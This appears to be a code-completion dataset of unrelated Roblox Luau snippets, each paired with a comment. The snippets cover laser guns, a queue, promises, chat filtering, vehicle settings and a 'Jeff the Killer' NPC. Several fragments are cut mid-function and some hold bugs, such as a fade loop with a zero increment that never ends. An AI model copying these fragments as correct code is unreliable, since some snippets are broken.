luaP:GET_OPCODE(pc) ~= "OP_TESTSET" and
luaP:GET_OPCODE(pc) ~= "OP_TEST")
luaP:SETARG_A(pc, (luaP:GETARG_A(pc) == 0) and 1 or 0)
end
|
-- Returns all objects under instance with Transparency
|
local function GetTransparentsRecursive(instance, partsTable)
local partsTable = partsTable or {}
for _, child in pairs(instance:GetChildren()) do
if child:IsA('BasePart') or child:IsA('Decal') then
table.insert(partsTable, child)
end
GetTransparentsRecursive(child, partsTable)
end
return partsTable
end
local function SelectionBoxify(instance)
local selectionBox = Instance.new('SelectionBox')
selectionBox.Adornee = instance
selectionBox.Color = BrickColor.new('Teal')
selectionBox.Parent = instance
return selectionBox
end
local function Light(instance)
local light = PointLight:Clone()
light.Range = light.Range + 2
light.Parent = instance
end
local function FadeOutObjects(objectsWithTransparency, fadeIncrement)
repeat
local lastObject = nil
for _, object in pairs(objectsWithTransparency) do
object.Transparency = object.Transparency + fadeIncrement
lastObject = object
end
wait()
until lastObject.Transparency >= 1 or not lastObject
end
local function Dematerialize(character, humanoid, firstPart)
local debounceTag = Instance.new('Configuration')
debounceTag.Name = DEBOUNCE_TAG_NAME
debounceTag.Parent = character
humanoid.WalkSpeed = 0
local parts = {}
for _, child in pairs(character:GetChildren()) do
if child:IsA('BasePart') then
child.Anchored = true
table.insert(parts, child)
elseif child:IsA('LocalScript') or child:IsA('Script') then
child:Destroy()
end
end
local selectionBoxes = {}
local firstSelectionBox = SelectionBoxify(firstPart)
Light(firstPart)
wait(0.05)
for _, part in pairs(parts) do
if part ~= firstPart then
table.insert(selectionBoxes, SelectionBoxify(part))
Light(part)
end
end
local objectsWithTransparency = GetTransparentsRecursive(character)
FadeOutObjects(objectsWithTransparency, 0.1)
wait(0.5)
humanoid.Health = 0
DebrisService:AddItem(character, 2)
local fadeIncrement = 0
Delay(0.2, function()
FadeOutObjects({firstSelectionBox}, fadeIncrement)
if character then
character:Destroy()
end
end)
FadeOutObjects(selectionBoxes, fadeIncrement)
end
local function OnTouched(shot, otherPart)
local character, humanoid = FindCharacterAncestor(otherPart)
if character and humanoid and character ~= Character and not character:FindFirstChild(DEBOUNCE_TAG_NAME) then
ApplyTags(humanoid)
if shot then
local hitFadeSound = shot:FindFirstChild(HitFadeSound.Name)
if hitFadeSound then
hitFadeSound.Parent = humanoid.Torso
hitFadeSound:Play()
end
shot:Destroy()
end
Dematerialize(character, humanoid, otherPart)
end
end
local function OnEquipped()
Character = Tool.Parent
Humanoid = Character:WaitForChild('Humanoid')
Player = PlayersService:GetPlayerFromCharacter(Character)
end
local function OnActivated()
if Tool.Enabled and Humanoid.Health > 0 then
Tool.Enabled = false
for i = 1, 3 do
FireSound:Play()
local handleCFrame = Handle.CFrame
local firingPoint = handleCFrame.p + handleCFrame:vectorToWorldSpace(NOZZLE_OFFSET)
local shotCFrame = CFrame.new(firingPoint, Humanoid.TargetPoint)
local laserShotClone = BaseShot:Clone()
laserShotClone.CFrame = shotCFrame + (shotCFrame.lookVector * (BaseShot.Size.Z / 2))
local bodyVelocity = Instance.new('BodyVelocity')
bodyVelocity.velocity = shotCFrame.lookVector * SHOT_SPEED
bodyVelocity.Parent = laserShotClone
laserShotClone.Touched:connect(function(otherPart)
OnTouched(laserShotClone, otherPart)
end)
DebrisService:AddItem(laserShotClone, SHOT_TIME)
laserShotClone.Parent = Tool
wait(0)
end
wait(0) -- FireSound length
ReloadSound:Play()
wait(0) -- ReloadSound length
Tool.Enabled = true
end
end
local function OnUnequipped()
end
|
--[=[
Pops an entry from the right of the queue
@return T
]=]
|
function Queue:PopRight()
if self._first > self._last then
error("Queue is empty")
end
local value = self[self._last]
self[self._last] = nil
self._last = self._last - 1
return value
end
|
-- Create a Translate function that uses a fallback translator if the first fails to load or return successfully. You can also set the referenced object to default to the generic game object
|
function TranslationHelper.translate(text, object)
if not object then
object = game
end
local translation = ""
local foundTranslation = false
if foundPlayerTranslator then
return playerTranslator:Translate(object, text)
end
if foundFallbackTranslator then
return fallbackTranslator:Translate(object, text)
end
return false
end
|
-- UI --
|
local main = script.Parent.Parent.Parent.Parent:WaitForChild("main")
local petUI = main.PetUI
local ScrollingFrame = petUI.Pets
local UIGridLayout = ScrollingFrame.UIGridLayout
local shrinkOn = petUI.Shrink.ShrinkOn
local getSizes = function()
if shrinkOn.Value == true then
return Vector2.new(0.02, 0.03),Vector2.new(0.225, 0.275),5
else
return Vector2.new(0.03, 0.04),Vector2.new(0.3, 0.35),3
end
end
|
--[[
Keeps track of a single spot on a surface canvas. Manages the art item on a single spot, and
the owner of the art item.
]]
|
local HttpService = game:GetService("HttpService")
local Spot = {}
Spot.__index = Spot
function Spot.new()
local self = {
id = HttpService:GenerateGUID(false),
-- ID of the applied art
artId = nil,
ownerUserId = nil,
-- Event to fire as a callback whenever the art on this spot changes.
onArtChanged = nil,
}
setmetatable(self, Spot)
return self
end
function Spot:applyArt(player, artId)
self.artId = artId
self.ownerUserId = player.UserId
if self.onArtChanged then
self.onArtChanged(self.artId, self.ownerUserId)
end
end
|
-- << MAIN >>
|
while true do
sound.SoundId = "rbxassetid://"..music_list[pos]
pos = pos + 1
sound:Play()
sound.Ended:Wait()
if pos > #music_list then
pos = 1
end
end
|
--[=[
Fires for the current key the given value
@param key TKey
@param ... TEmit
]=]
|
function ObservableSubscriptionTable:Fire(key, ...)
assert(key ~= nil, "Bad key")
local subs = self._subMap[key]
if not subs then
return
end
-- Make a copy so we don't have to worry about our last changing
for _, sub in pairs(table.clone(subs)) do
task.spawn(sub.Fire, sub, ...)
end
end
function ObservableSubscriptionTable:Complete(key, ...)
local subs = self._subMap[key]
if not subs then
return
end
local subsToComplete = table.clone(subs)
self._subMap[key] = nil
for _, sub in pairs(subsToComplete) do
task.spawn(sub.Complete, sub, ...)
end
end
|
-- CONFIG
|
local WHOLE_BODY_DETECTION_LIMIT = 729000 -- This is roughly the volume where Region3 checks begin to exceed 0.5% in Script Performance
|
-- LOCAL METHODS
|
local function checkTopbarEnabled()
local success, bool = xpcall(function()
return starterGui:GetCore("TopbarEnabled")
end,function(err)
--has not been registered yet, but default is that is enabled
return true
end)
return (success and bool)
end
|
--[=[
Yields the thread until a `:Fire` call occurs, returns what the signal was fired with.
```lua
task.spawn(function()
print(
ScriptSignal:Wait()
)
end)
ScriptSignal:Fire("Arg", nil, 1, 2, 3, nil)
-- "Arg", nil, 1, 2, 3, nil are printed
```
@yields
@return ...any
@ignore
]=]
|
function ScriptSignal:Wait(): (...any)
local thread do
thread = coroutine.running()
local connection
connection = self:Connect(function(...)
connection:Disconnect()
task.spawn(thread, ...)
end)
end
return coroutine.yield()
end
|
-------------------------------------------------------
--Start HeartBeat--
-------------------------------------------------------
|
ArtificialHB = Instance.new("BindableEvent", script)
ArtificialHB.Name = "Heartbeat"
script:WaitForChild("Heartbeat")
frame = 1 / 60
tf = 0
allowframeloss = false
tossremainder = false
lastframe = tick()
script.Heartbeat:Fire()
game:GetService("RunService").Heartbeat:connect(function(s, p)
tf = tf + s
if tf >= frame then
if allowframeloss then
script.Heartbeat:Fire()
lastframe = tick()
else
for i = 1, math.floor(tf / frame) do
script.Heartbeat:Fire()
end
lastframe = tick()
end
if tossremainder then
tf = 0
else
tf = tf - frame * math.floor(tf / frame)
end
end
end)
|
-- Watch for newly playing tracks in workspace.Music, change script.Parent.MusicName to the Sound's name
-- When script.Parent.TextBox is changed, change the volume of all children of workspace.Music
|
MusicUI = script.Parent
MusicUI.TextBox.FocusLost:Connect(function()
for i,v in pairs(workspace.Music:GetChildren()) do
v.Volume = MusicUI.TextBox.Text
end
end)
for _,Sound in pairs(workspace.Music:GetChildren()) do
Sound:GetPropertyChangedSignal("Playing"):Connect(function()
if Sound.Playing == true then
MusicUI.MusicName.Text = Sound.Name
end
end)
end
|
---- remove the animal to Replace with a domestic variant
-- local oldCF = targetPart.Parent.PrimaryPart.CFrame
-- local oldName = targetPart.Parent.Name
-- targetPart.Parent:Destroy()
---- find domestic variant
-- local newAnimal = EntityData.GetEntity(EntityData.All[oldName].domesticVariant)
-- saddledCritters[newAnimal] = {
-- owner = player
-- }
| |
-- PlayerList
-- Author(s): Jesse Appleton
-- Date: 08/31/2022
| |
-- This function is called when a player says something in the chat
|
function onPlayerChatted(player, message)
-- Check if the message is the same as the player's secret
if message == tostring(secret) then
-- If the message is the same as the secret, kick the player with a custom message
player:Kick("You couldn't keep a secret")
end
end
|
-- While Falling
|
while wait(0.1) do
if script.Parent.UpperTorso.Velocity.Magnitude > 70 then
script.Parent.Head.ScreamFall:Play()
wait(35)
end
end
|
-- functions
|
script.Parent.Text = "I FINISHED!"
wait(2)
game.ReplicatedStorage.Kicker:FireAllClients()
|
--Pre-Toggled PBrake
|
for i,v in pairs(car.Wheels:GetChildren()) do
if v["#AV"]:IsA("BodyAngularVelocity") then
if math.abs(v["#AV"].maxTorque.Magnitude-PBrakeForce)<1 then
_PBrake=true
end
else
if math.abs(v["#AV"].MotorMaxTorque-PBrakeForce)<1 then
_PBrake=true
end
end
end
|
-- Tags --
|
local pantsId = script.Parent.Parent.Pants.PantsTemplate
local shirtId = script.Parent.Parent.Shirt.ShirtTemplate
local cPart = script.Parent
local cDetector = script.Parent.ProximityPrompt
local function onClicked(player)
if player.Team.TeamColor == BrickColor.new("Maroon")then
local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt
if not foundShirt then -- if there is no shirt
print("No shirt found, creating for "..player.Name)
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
else if foundShirt then -- if there is a shirt
print("Shirt found, reconstructing for "..player.Name)
player.Character.Shirt:remove()
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
end
end
local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants
if not foundPants then -- if there are no pants
print("No pants found, creating for "..player.Name)
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
else if foundPants then -- if there are pants
print("Pants found, reconstructing for "..player.Name)
player.Character.Pants:remove()
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
end
end
player.Character.Shirt.ShirtTemplate = shirtId
player.Character.Pants.PantsTemplate = pantsId
end
end
|
--[[
Returns the a count of all items in the local player's inventory that
are in a given category
--]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local PlayerDataClient = require(ReplicatedStorage.Source.PlayerData.Client)
local Sift = require(ReplicatedStorage.Dependencies.Sift)
local PlayerDataKey = require(ReplicatedStorage.Source.SharedConstants.PlayerDataKey)
local ItemCategory = require(ReplicatedStorage.Source.SharedConstants.ItemCategory)
local function countInventoryItemsInCategory(itemCategory: ItemCategory.EnumType)
local inventory = PlayerDataClient.get(PlayerDataKey.Inventory)
local itemCounts = Sift.Dictionary.values(inventory[itemCategory] or {})
local totalItemCount = Sift.Array.reduce(itemCounts, function(a: number, b: number)
return a + b
end) or 0
return totalItemCount
end
return countInventoryItemsInCategory
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local mouse = game.Players.LocalPlayer:GetMouse()
local car = script.Parent.Car.Value
local horn = car.DriveSeat:WaitForChild("Horn")
local FE = workspace.FilteringEnabled
local handler = car:WaitForChild("Lights_FE")
mouse.KeyDown:connect(function(key)
if key=="h" then
if FE then
handler:FireServer()
else
horn:Play()
end
end
end)
game:GetService("UserInputService").InputBegan:connect(function(input,IsRobloxFunction)
if input.KeyCode ==Enum.KeyCode.ButtonB and input.UserInputState == Enum.UserInputState.Begin then
if FE then
handler:FireServer()
else
horn:Play()
end
end
end)
|
--// Handling Settings
|
Firerate = 60 / 800; -- 60 = 1 Minute, 800 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
|
--!nocheck
|
local Player = game.Players.LocalPlayer
local Character = game.Players.LocalPlayer.Character
local Humanoid = game.Players.LocalPlayer.Character:WaitForChild("Humanoid") :: Humanoid
local ev
local died = false
function death()
if died then return end
died = true
local gs:ModuleScript = game.Players.LocalPlayer.PlayerScripts.Client.ControlScript.Player.GameSettings
local gs = require(gs) -- ROBLOX SHUT UPI
gs.lives -= 1
print("death client")
game.ReplicatedStorage.Remotes.Respawn:FireServer()
ev:Disconnect()
end
ev = game:GetService("RunService").RenderStepped:Connect(function()
if Humanoid.Health <= 0 then
death()
end
end)
|
--[[
Returns a new promise that:
* is resolved when all input promises resolve
* is rejected if ANY input promises reject
]]
|
function Promise.all(promises)
if type(promises) ~= "table" then
error("Please pass a list of promises to Promise.all", 2)
end
-- If there are no values then return an already resolved promise.
if #promises == 0 then
return Promise.resolve({})
end
-- We need to check that each value is a promise here so that we can produce
-- a proper error rather than a rejected promise with our error.
for i = 1, #promises do
if not Promise.is(promises[i]) then
error(("Non-promise value passed into Promise.all at index #%d"):format(i), 2)
end
end
return Promise.new(function(resolve, reject)
-- An array to contain our resolved values from the given promises.
local resolvedValues = {}
-- Keep a count of resolved promises because just checking the resolved
-- values length wouldn't account for promises that resolve with nil.
local resolvedCount = 0
-- Called when a single value is resolved and resolves if all are done.
local function resolveOne(i, ...)
resolvedValues[i] = ...
resolvedCount = resolvedCount + 1
if resolvedCount == #promises then
resolve(resolvedValues)
end
end
-- We can assume the values inside `promises` are all promises since we
-- checked above.
for i = 1, #promises do
promises[i]:andThen(
function(...)
resolveOne(i, ...)
end,
function(...)
reject(...)
end
)
end
end)
end
|
-- How many times per second the gun can fire
|
local FireRate = 0.12 / 1
|
--TODO: add a parameter that instead welds the tool to the HumanoidRootPart.
|
function AnimateLib.Motor6DFromGrip(tool, rightArm)
local m = Instance.new("Motor6D");
m.C0 = CFrame.new(0, -1, 0, 1, 0, -0, 0, 0, 1, 0, -1, 0);
m.C1 = Utils.Math.CFrameFromComponents(tool.GripPos, tool.GripRight, tool.GripUp, -tool.GripForward);
m.Part0 = rightArm;
m.Part1 = tool:FindFirstChild('Handle');
m.Parent = rightArm;
m.Name = "RightGrip";
return m;
end
|
-- local plr=script.Parent.Parent.Parent.Parent.Parent
|
local plr = Players.LocalPlayer -- or Players:GetPropertyChangedSignal("LocalPlayer"):wait()
|
-- Adds a service to this provider only
|
function ServiceBag:_addServiceType(serviceType)
if not self._serviceTypesToInitializeSet then
error(("Already finished initializing, cannot add %q"):format(self:_getServiceName(serviceType)))
return
end
-- Already added
if self._services[serviceType] then
return
end
-- Construct a new version of this service so we're isolated
local service = setmetatable({}, { __index = serviceType })
self._services[serviceType] = service
self:_ensureInitialization(serviceType)
end
function ServiceBag:_ensureInitialization(serviceType)
if self._initializedServiceTypeSet[serviceType] then
return
end
if self._initializing then
self._serviceTypesToInitializeSet[serviceType] = nil
self._initializedServiceTypeSet[serviceType] = true
self:_initService(serviceType)
elseif self._serviceTypesToInitializeSet then
self._serviceTypesToInitializeSet[serviceType] = true
else
local serviceName = self:_getServiceName(serviceType)
error(string.format("Cannot initialize service %q past initializing phase", serviceName))
end
end
function ServiceBag:_initService(serviceType)
local service = assert(self._services[serviceType], "No service")
local serviceName = self:_getServiceName(serviceType)
if service.Init then
local current
task.spawn(function()
debug.setmemorycategory(serviceName)
current = coroutine.running()
service:Init(self)
end)
local isDead = coroutine.status(current) == "dead"
if not isDead then
error(("Initializing service %q yielded"):format(serviceName))
end
end
table.insert(self._serviceTypesToStart, serviceType)
end
|
--------END RIGHT DOOR --------
|
game.Workspace.post1.Light.BrickColor = BrickColor.new(106)
game.Workspace.post2.Light.BrickColor = BrickColor.new(106)
end
wait(0.15)
|
--Weld stuff here
|
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
end
end)
|
-- I know, not very complicated
-- But it's simple and effective! ^-^
| |
--[[Misc]]
|
Tune.LoadDelay = .9 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = false -- Set to false if using manual ignition plugin
Tune.AutoFlip = true -- Set to false if using manual flip plugin
|
-- Disable it by default. The PreShowVenue will enable it when it wants.
|
setFriendsLocatorEnabled(false)
|
--h.Health = h.Health - 2
|
if game.Players:FindFirstChild(hit.Parent.Name) ~= nil then
local player = game.Players:FindFirstChild(hit.Parent.Name)
local gui = script.Parent.MaceGui:clone()
gui.Parent = player.PlayerGui
gui.Script.Disabled = false
end
end
end
script.Parent.Touched:connect(onTouched)
|
--// Return values: bool filterSuccess, bool resultIsFilterObject, variant result
|
function methods:InternalApplyRobloxFilterNewAPI(speakerName, message) --// USES FFLAG
local alwaysRunFilter = false
local runFilter = RunService:IsServer() -- and not RunService:IsStudio()
if (alwaysRunFilter or runFilter) then
local fromSpeaker = self:GetSpeaker(speakerName)
if fromSpeaker == nil then
return false, nil, nil
end
local fromPlayerObj = fromSpeaker:GetPlayer()
if fromPlayerObj == nil then
return true, false, message
end
local success, filterResult = pcall(function()
local ts = game:GetService("TextService")
local result = ts:FilterStringAsync(message, fromPlayerObj.UserId)
return result
end)
if (success) then
return true, true, filterResult
else
warn("Error filtering message:", message)
self:InternalNotifyFilterIssue()
return false, nil, nil
end
else
--// Simulate filtering latency.
task.wait(0.2)
return true, false, message
end
return nil
end
function methods:InternalDoMessageFilter(speakerName, messageObj, channel)
local filtersIterator = self.FilterMessageFunctions:GetIterator()
for funcId, func, priority in filtersIterator do
local success, errorMessage = pcall(function()
func(speakerName, messageObj, channel)
end)
if not success then
warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage))
end
end
end
function methods:InternalDoProcessCommands(speakerName, message, channel)
local commandsIterator = self.ProcessCommandsFunctions:GetIterator()
for funcId, func, priority in commandsIterator do
local success, returnValue = pcall(function()
local ret = func(speakerName, message, channel)
if type(ret) ~= "boolean" then
error("Process command functions must return a bool")
end
return ret
end)
if not success then
warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue))
elseif returnValue then
return true
end
end
return false
end
function methods:InternalGetUniqueMessageId()
local id = self.MessageIdCounter
self.MessageIdCounter = id + 1
return id
end
function methods:InternalAddSpeakerWithPlayerObject(speakerName, playerObj, fireSpeakerAdded)
if (self.Speakers[speakerName:lower()]) then
error("Speaker \"" .. speakerName .. "\" already exists!")
end
local speaker = Speaker.new(self, speakerName)
speaker:InternalAssignPlayerObject(playerObj)
self.Speakers[speakerName:lower()] = speaker
if fireSpeakerAdded then
local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
if not success and err then
print("Error adding speaker: " ..err)
end
end
return speaker
end
function methods:InternalFireSpeakerAdded(speakerName)
local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
if not success and err then
print("Error firing speaker added: " ..err)
end
end
|
-- Place script in workspace.
|
print("Cash Leaderboard Loaded")
function onPlayerEntered(newPlayer)
local stats = Instance.new("IntValue")
stats.Name = "leaderstats"
local cash = Instance.new("IntValue")
cash.Name = "Wins"
cash.Value = 0
cash.Parent = stats
stats.Parent = newPlayer
end
game.Players.ChildAdded:connect(onPlayerEntered)
|
--2--
|
script.Parent.Parent.ll2.Transparency = 1
script.Parent.Parent.l2.Transparency = 1
script.Parent.Parent.h2.Transparency = 1
script.Parent.Parent.rr2.Transparency = 1
end
function onClicked()
if isOn == true then off() else on() end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
on()
|
------ Locales ------
|
local CaseData = script.Parent.CaseData
local InformationData = script.Parent.Parent.Parent.CaseInformationFrame.Information
local InformationVariables = script.Parent.Parent.Parent.CaseInformationFrame.Variables
local Button = script.Parent
|
--[[ Local Functions ]]
|
--
local function setJumpModule(isEnabled)
if not isEnabled then
TouchJumpModule:Disable()
elseif CurrentControlModule == ControlModules.Thumbpad or CurrentControlModule == ControlModules.Thumbstick or
CurrentControlModule == ControlModules.Default then
--
TouchJumpModule:Enable()
end
end
local function setClickToMove()
if DevMovementMode == Enum.DevTouchMovementMode.ClickToMove or DevMovementMode == Enum.DevComputerMovementMode.ClickToMove or
UserMovementMode == Enum.ComputerMovementMode.ClickToMove or UserMovementMode == Enum.TouchMovementMode.ClickToMove then
--
if IsTouchDevice then
ClickToMoveTouchControls = CurrentControlModule or ControlModules.Default
end
else
if IsTouchDevice and ClickToMoveTouchControls then
ClickToMoveTouchControls:Disable()
ClickToMoveTouchControls = nil
end
end
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 2 -- cooldown for use of the tool again
BoneModelName = "Extreme bone area" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- local noColor = printSnapshot.noColor
|
local printExpected = printSnapshot.printExpected
local printPropertiesAndReceived = printSnapshot.printPropertiesAndReceived
local printReceived = printSnapshot.printReceived
local printSnapshotAndReceived = printSnapshot.printSnapshotAndReceived
local types = require(CurrentModule.types)
type MatchSnapshotConfig = types.MatchSnapshotConfig
local utils = require(CurrentModule.utils)
local _toMatchSnapshot, _toThrowErrorMatchingSnapshot
local DID_NOT_THROW = "Received function did not throw"
local NOT_SNAPSHOT_MATCHERS = "Snapshot matchers cannot be used with " .. BOLD_WEIGHT("never")
|
-- the Tool, reffered to here as "Block." Do not change it!
|
Block = script.Parent.Parent.Gear -- You CAN change the name in the quotes "Example Tool"
|
-- Set local variables
|
local player = players:GetPlayerFromCharacter(script.Parent)
local character = player.Character or player.CharacterAdded:wait()
local humanoid = character.Humanoid
local oldWalkSpeed
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=100;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(10);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
